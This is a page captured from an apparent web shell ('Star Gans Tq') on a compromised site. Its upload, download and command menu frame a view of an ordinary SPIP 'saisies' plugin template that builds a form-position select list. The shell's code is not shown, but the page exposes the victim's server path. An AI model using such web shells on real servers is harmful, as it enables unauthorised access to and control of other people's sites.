.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/saisies/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/plugins/auto/saisies_v1/saisies/position_construire_formulaire.html

    <select name="#ENV{nom}" id="champ_[(#ENV{id,#ENV{nom}}|saisie_nom2classe)]">
    	#SET{tab,#ENV{formulaire}}
    	#SET{tab_par_nom,#ENV{formulaire}|saisies_lister_par_nom}
    	#SET{padding,0}
    	#SET{liste_parents,#ARRAY{0,''}}
    	<BOUCLE_parcours(POUR){tableau #GET{tab}}>
    	#SET{saisie,#VALEUR}
    	<option value="[(#GET{saisie}|table_valeur{options}|table_valeur{nom})]" style="padding-left:#GET{padding}px" [(#ENV{valeur,#ENV{saisie_a_positionner}}|=={#GET{saisie}|table_valeur{options}|table_valeur{nom}}|oui)selected="selected"]>
    		[(#GET{saisie}|table_valeur{options}|table_valeur{label}
    			|sinon{#GET{saisie}|table_valeur{options}|table_valeur{nom}}
    			|couper{60})]
    	</option>
    		<BOUCLE_test_enfants(CONDITION){si #GET{saisie}|table_valeur{options}|table_valeur{nom}|!={#ENV{saisie_a_positionner}}|et{#GET{saisie}|table_valeur{saisies}|is_array}}>
    		#SET{tab,#GET{saisie}|table_valeur{saisies}}
    		#SET{padding,#GET{padding}|plus{20}}
    		#SET_PUSH{liste_parents,#GET{saisie}|table_valeur{options}|table_valeur{nom}}
    		<BOUCLE_parcours_recursif(BOUCLE_parcours)/>
    		#SET{padding,#GET{padding}|moins{20}}
    		#SET{liste_parents,#GET{liste_parents}|array_slice{0,-1}}
    		</BOUCLE_test_enfants>
    	</BOUCLE_parcours>
    	#SET{parent, #GET{liste_parents}|table_valeur{#GET{liste_parents}|count|moins{1}}}
    	<option value="[#GET{parent}]" style="padding-left:#GET{padding}px; font-style:italic;">
    		[(#GET{parent}|non)
    			<:saisies:construire_position_fin_formulaire:>
    		]
    		[(#GET{parent}|oui)
    			#SET{groupe,#GET{tab_par_nom}|table_valeur{#GET{parent}}}
    			#SET{groupe,#GET{groupe}|table_valeur{options}|table_valeur{label}|sinon{#GET{groupe}|table_valeur{options}|table_valeur{nom}}|couper{60}}
    			<:saisies:construire_position_fin_groupe{groupe=#GET{groupe}}:>
    		]
    	</option>
    	</B_parcours>
    	#SET{parent, #GET{liste_parents}|table_valeur{#GET{liste_parents}|count|moins{1}}}
    	<option value="[#GET{parent}]" style="padding-left:#GET{padding}px; font-style:italic;">
    		[(#GET{parent}|non)
    			<:saisies:construire_position_fin_formulaire:>
    		]
    		[(#GET{parent}|oui)
    			#SET{groupe,#GET{tab_par_nom}|table_valeur{#GET{parent}}}
    			#SET{groupe,#GET{groupe}|table_valeur{options}|table_valeur{label}|sinon{#GET{groupe}|table_valeur{options}|table_valeur{nom}}|couper{60}}
    			<:saisies:construire_position_fin_groupe{groupe=#GET{groupe}}:>
    		]
    	</option>
    	<//B_parcours>
    </select>